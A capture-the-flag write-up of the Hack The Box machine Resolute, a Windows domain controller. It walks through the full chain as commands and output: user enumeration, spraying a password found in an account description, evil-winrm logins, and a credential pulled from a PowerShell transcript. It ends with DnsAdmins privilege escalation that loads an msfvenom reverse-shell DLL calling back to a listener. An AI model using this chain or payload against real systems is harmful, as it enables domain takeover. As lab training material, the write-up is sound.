

**RESOLUTE | Kaosam**

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This time we are faced with a Windows machine. Here is the result of port scanning:

```

root@unknown:~/Desktop# nmap -sV 10.10.10.169
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 11:12 CET
Nmap scan report for 10.10.10.169
Host is up (0.15s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE          VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2020-02-16 10:19:43Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds     Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/16%Time=5E49159B%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\\0\\x1e\\0\\x06\\x81\\x04\\0\\x01\\0\\0\\0\\0\\0\\x07version\\
SF:x04bind\\0\\0\\x10\\0\\x03");
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.14 seconds

```

There doesn't seem to be any "strange" services running, so let's try using one of the most famous tools for Windows machines, called enum4linux, in order to get more information about the system:

```

root@unknown:~/Desktop# enum4linux -U 10.10.10.169
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/
) on Sun Feb 16 11:18:08 2020

=====
|   Target Information   |
=====
Target ..... 10.10.10.169
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

=====
| Enumerating Workgroup/Domain on 10.10.10.169 |
=====

```

As you can see, thanks to the -U option, we managed to obtain the list of users:

```
=====
| Users on 10.10.10.169 |
=====
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administerin
g the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claudie Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the sys
tem.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the
computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to
Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
```

We also have additional information. In the marko user line, the description shows a password: Welcome123!. So, will this be marko's password?

```
enum4linux -u marko -p Welcome123! 10.10.10.169
```

Failed attempt. Therefore, you must try this password with all the other users. From the initial nmap we see that Ldap is present. This means that multiple services use the same passwords. We can try to authenticate with one of the active services, such as the one on port 445 (SMB protocol). Microsoft-ds is a file sharing service and is one of the most vulnerable within Windows systems.

For this purpose, we can use the smb\_login module inside msfconsole:

```
msf5 auxiliary(scanner/smb/smb_login)> set RHOSTS 10.10.10.169
RHOSTS => 10.10.10.169
msf5 auxiliary(scanner/smb/smb_login) > set SMBPASS Welcome123!
SMBPASS => Welcome123!
msf5 auxiliary(scanner/smb/smb_login) > set USER_FILE users.txt
USER_FILE => users.txt
msf5 auxiliary(scanner/smb/smb_login) > run
```

With the USER\_FILE option, a text file with the list of all users found must be inserted, so that the tool in question tries to authenticate each of the username with the password found previously.

```
[*] 10.10.10.169:445 - 10.10.10.169:445 - Starting SMB login bruteforce
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\Administrator:Welcome123!',
[!] 10.10.10.169:445 - No active DB -- Credential data will not be saved!
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\Guest:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\krbtgt:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\DefaultAccount:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\ryan:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\marko:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\sunita:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\abigail:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\marcus:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\sally:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\fred:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\angela:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\felicia:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\gustavo:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\ulf:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\stevie:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\claire:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\paulo:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\steve:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\annette:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\annika:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\per:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\claudes:Welcome123!',
[+] 10.10.10.169:445 - 10.10.10.169:445 - Success: '.\melanie:Welcome123!'
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\zach:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\simon:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\naoki:Welcome123!',
[*] 10.10.10.169:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

We got a positive response. Welcome123! is the password of the user melanie.

Let's proceed with obtaining the shell, using the famous EvilWinrm tool (it is necessary to check if port 5985 is open). We entered, and we have the user flag:

```
root@unknown:~/Desktop# evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!

Evil-WinRM shell v2.1

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\melanie\Documents> dir
*Evil-WinRM* PS C:\Users\melanie\Documents> cd ..
*Evil-WinRM* PS C:\Users\melanie> cd Desktop
*Evil-WinRM* PS C:\Users\melanie\Desktop> dir

        Directory: C:\Users\melanie\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---            12/3/2019   7:33 AM             32 user.txt

*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt
0c3be45fcfe249796ccbee8d3a978540
```

Going forward, hidden directories are shown at the root of the system with the "dir -force" command. The PSTranscripts folder is immediately visible.

We continue inside:

```
*Evil-WinRM* PS C:\PSTranscripts> cd 20191203
*Evil-WinRM* PS C:\PSTranscripts\20191203> dir -force

Directory: C:\PSTranscripts\20191203


Mode                LastWriteTime         Length Name
----                -
-arh--             12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

*Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
*****
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
*****
Command start time: 20191203063455
```

By printing the file found inside, the backup of Ryan's password comes out!

```
+ FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~
+ CategoryInfo          : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
*****
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
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BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
*****
```

Let's reconnect with evil-winrm, changing user. We find a note on the desktop:

```
root@unknown:~/Desktop# evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!
Evil-WinRM shell v2.1
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan\Documents> dir
*Evil-WinRM* PS C:\Users\ryan\Documents> cd ..
*Evil-WinRM* PS C:\Users\ryan> cd Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> dir

Directory: C:\Users\ryan\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---            12/3/2019   7:34 AM           155 note.txt

*Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically revert
ed within 1 minute
```

It is a message addressed to ryan, a member of a team. Let's see which are the groups to which ryan belongs:

```
*Evil-WinRM* PS C:\Users\ryan\Desktop> whoami /groups

GROUP INFORMATION
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Group Name                                     Type                SID                                     Attributes
-----
Everyone                                     Well-known group    S-1-1-0                               Mandatory gr
oup, Enabled by default, Enabled group
BUILTIN\Users                               Alias               S-1-5-32-545                         Mandatory gr
oup, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias               S-1-5-32-554                         Mandatory gr
oup, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias               S-1-5-32-580                         Mandatory gr
oup, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group    S-1-5-2                               Mandatory gr
oup, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group    S-1-5-11                             Mandatory gr
oup, Enabled by default, Enabled group
NT AUTHORITY\This Organization               Well-known group    S-1-5-15                             Mandatory gr
oup, Enabled by default, Enabled group
MEGABANK\Contractors                        Group               S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory gr
oup, Enabled by default, Enabled group
MEGABANK\DnsAdmins                          Alias               S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory gr
oup, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication            Well-known group    S-1-5-64-10                          Mandatory gr
oup, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level      Label               S-1-16-8192
```

Ryan within Megabank, is part of the Contractors and DnsAdmins. Thanks to Google, exploits are found precisely on the latter group (<http://www.abhizer.com/windows-privilege-escalation-dnsadmin-to-domaincontroller/>).

On the terminal of our machine with msfvenom we generate the exploit, calling it "a.dll":

```
root@unknown:~/usr/share/doc/python3-impacket/examples# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.84 LPOR
T=4444 --platform=windows -f dll > a.dll
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 5120 bytes
```



The exploit will be launched from the victim machine to our address (LHOST) on port 4444. We must listen with the command `nc -lvp 4444`.

On another terminal we use `smbserver.py` to generate a smb connection, in the path where our dll is located:

```
root@unknown:~/usr/share/doc/python3-impacket/examples# python3 smbserver.py SHARE /root/Desktop/
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Finally, on the victim machine, we run these commands:

```
*Evil-WinRM* PS C:\Users\ryan\Documents> dncmd.exe /config /serverlevelplugindll \\10.10.15.84\share\a.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE                : 3  STOP_PENDING
                           (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE       : 0  (0x0)
        SERVICE_EXIT_CODE   : 0  (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x0

*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE                : 2  START_PENDING
                           (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE       : 0  (0x0)
        SERVICE_EXIT_CODE   : 0  (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x7d0
        PID                 : 2976
        FLAGS                 :
```

Back to our listening terminal, we have the shell!

```
root@unknown:~/Desktop# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.84] from (UNKNOWN) [10.10.10.169] 58085
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>dir
```

Going to the /Users/Administrator/Desktop path, we find the root flag:

```
C:\Users\Administrator\Desktop>type root.txt  
type root.txt  
e1d94876a506850d0c20edb5405e619c
```

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